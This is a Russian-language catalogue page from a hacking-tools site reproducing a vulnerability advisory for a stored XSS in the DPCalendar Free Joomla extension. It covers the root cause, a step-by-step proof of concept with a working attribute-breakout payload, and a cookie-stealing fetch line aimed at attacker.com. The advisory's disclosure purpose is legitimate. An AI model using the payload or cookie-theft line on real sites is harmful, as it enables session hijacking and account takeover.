Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-78071 — Stored XSS через Location Title в DPCalendar Free | Kitploit
Инструменты/GitHubGitHub/toanln-cov/cve-2026-78071
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

Stored XSS через Location Title в DPCalendar Free

Репозиторий
11 ч 41 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Stored XSS через поле Location Title в DPCalendar Free

DPCalendar Free ≤ 10.11.2 — пользователь с ролью Author обходит проверку контента и внедряет постоянный XSS через поле Location Title, срабатывающий при наведении курсора у любого посетителя

CVE CVSS CWE-79 Affected Researcher


КРАТКОЕ ОПИСАНИЕ

Поле $location->title выводится без htmlspecialchars() в файле default_locations.php. Серверный InputFilter::clean() в Joomla удаляет символы и из строковых полей, но пропускает , что позволяет пользователю с ролью Author выйти за пределы HTML-атрибута. Когда любой посетитель наводит курсор на секцию информации о местоположении (Location) на странице события, внедрённый обработчик выполняет произвольный JavaScript в его браузерной сессии.

<
>
"
onmouseover

Второй недостаток дизайна усиливает воздействие: EventController::allowEdit() проверяет только created_by == current_user — он не проверяет статус публикации события. Author может создать безобидное событие, дождаться его публикации администратором, а затем незаметно вооружить связанное местоположение, отредактировав его название после публикации, полностью обойдя проверку контента. XSS-пейлоад внедряется после модерации; администраторы никогда не видят его в процессе проверки.


ЗАТРОНУТЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМАЯ ВЕРСИЯПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

ДЕТАЛИ УЯЗВИМОСТИ

Тип: Хранимый межсайтовый скриптинг / некорректное кодирование вывода (CWE-79) Требуемая аутентификация: роль Author — пользователь фронтенда (группа Joomla 4, минимум для создания событий) Файл: site/tmpl/event/default_locations.php

Корневая причина

$location->title выводится напрямую — без htmlspecialchars() — в двух контекстах вывода в default_locations.php. Контекст атрибута является эксплуатируемым стоком через веб-интерфейс, поскольку InputFilter в Joomla блокирует <>, но пропускает " без изменений.

DEFAULT_LOCATIONS.PHP — УЯЗВИМЫЕ ТОЧКИ ВЫВОДА

root@kitploit:~
// Сток 1 — текстовый контент (HTML-инъекция; <> удаляется InputFilter через веб-интерфейс)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// Сток 2 — HTML-атрибут (инъекция в атрибут; " проходит через InputFilter)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

Значение заголовка New Location" onmouseover="alert(document.domain) сохраняется сервером без изменений. При выводе Сток 2 отображается как:

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

Атрибут onmouseover становится активным обработчиком событий в отображаемом DOM.

Отсутствие проверки статуса публикации

EventController::allowEdit() предоставляет доступ к редактированию любому Author для его собственных событий независимо от статуса публикации. Злоумышленник устанавливает доверие, отправляя обычное событие на проверку администратору, а затем — после публикации администратором — незаметно редактирует связанное местоположение, чтобы внедрить XSS-пейлоад:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() БЕЗ ПРОВЕРКИ СОСТОЯНИЯ

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ Нет проверки $event->state — опубликованные события остаются доступными для редактирования Author
}

ПОДТВЕРЖДЕНИЕ КОНЦЕПЦИИ (PoC)

1. Войдите как пользователь с ролью Author

Перейдите к форме входа на фронтенде и войдите с учётной записью Author (группа Joomla 4 — минимум, необходимый для создания событий и местоположений).

Шаг 1 — Вход как Author

2. Создайте обычное событие с легитимным местоположением

Перейдите на /index.php?option=com_dpcalendar&view=form. Создайте событие с чистым заголовком и прикрепите любое существующее местоположение (например, «Greater London»). Это устанавливает легитимность Author до внедрения пейлоада.

Шаг 2 — Форма создания безобидного события

Шаг 3 — Прикрепление легитимного местоположения перед сохранением

3. Дождитесь публикации события администратором

Событие отправляется на проверку. Администратор входит в систему и публикует его из бэкенда DPCalendar. Событие теперь активно и видно всем посетителям сайта.

Шаг 4 — Администратор публикует событие

4. Вернитесь к опубликованному событию и откройте местоположение для редактирования

Как Author, перейдите на страницу опубликованного события. Кнопка Edit Event остаётся видимой — allowEdit() не проверяет статус публикации. Нажмите Edit Event, перейдите на вкладку Location и нажмите на значок карандаша, чтобы открыть locationform.

Шаг 5 — Значок редактирования всё ещё доступен после публикации администратором

5. Внедрите XSS-пейлоад в поле заголовка местоположения

Замените название местоположения на пейлоад. InputFilter в Joomla пропускает " — пейлоад сохраняется без изменений и нарушает контекст HTML-атрибута при выводе:

ПЕЙЛОАД — ПОЛЕ ЗАГОЛОВКА (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

Шаг 6 — Внедрение XSS-пейлоада в поле заголовка местоположения

Нажмите Save.

6. Любой посетитель страницы события запускает XSS при наведении курсора

Когда любой пользователь — авторизованный или анонимный — посещает страницу с деталями события и наводит курсор на секцию Location information, внедрённый обработчик onmouseover срабатывает немедленно. Не требуется аутентификация, клик или дальнейшее взаимодействие — достаточно лишь посетить страницу.

Шаг 7 — XSS срабатывает при наведении курсора

Сырой пейлоад виден в секции Location на странице события — неэкранированный заголовок отображается как активный HTML-атрибут:

Шаг 8 — Страница события с неэкранированным пейлоадом в DOM

Наведение курсора на секцию Location вызывает диалоговое окно alert в браузере анонимного посетителя:

Шаг 9 — Диалоговое окно XSS alert сработало для анонимного посетителя


ВОЗДЕЙСТВИЕ

  1. Угон сессии — Внедрённый обработчик может похитить cookie сессии жертвы через fetch('//attacker.com/?c='+document.cookie), предоставляя полный захват учётной записи для любой роли, просматривающей событие.

  2. Постоянная поверхность атаки, привязанная к событию — Пейлоад сохраняется до тех пор, пока заголовок местоположения не будет исправлен вручную. Каждый пользователь, посещающий страницу события — включая анонимных посетителей — подвергается воздействию. События с высокой посещаемостью (публичные конференции, страницы бронирования) многократно увеличивают число жертв.

  3. Обход доверия после публикации — Поскольку Author может незаметно изменить местоположение после одобрения администратором, пейлоад никогда не виден в процессе проверки контента. Безобидное событие проходит модерацию; XSS внедряется после неё.


ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • GitHub Advisory: https://github.com/advisories/GHSA-32gf-548r-6r9c
  • Репозиторий разработчика: https://github.com/Digital-Peak/DPCalendar-Free
Скачать инструмент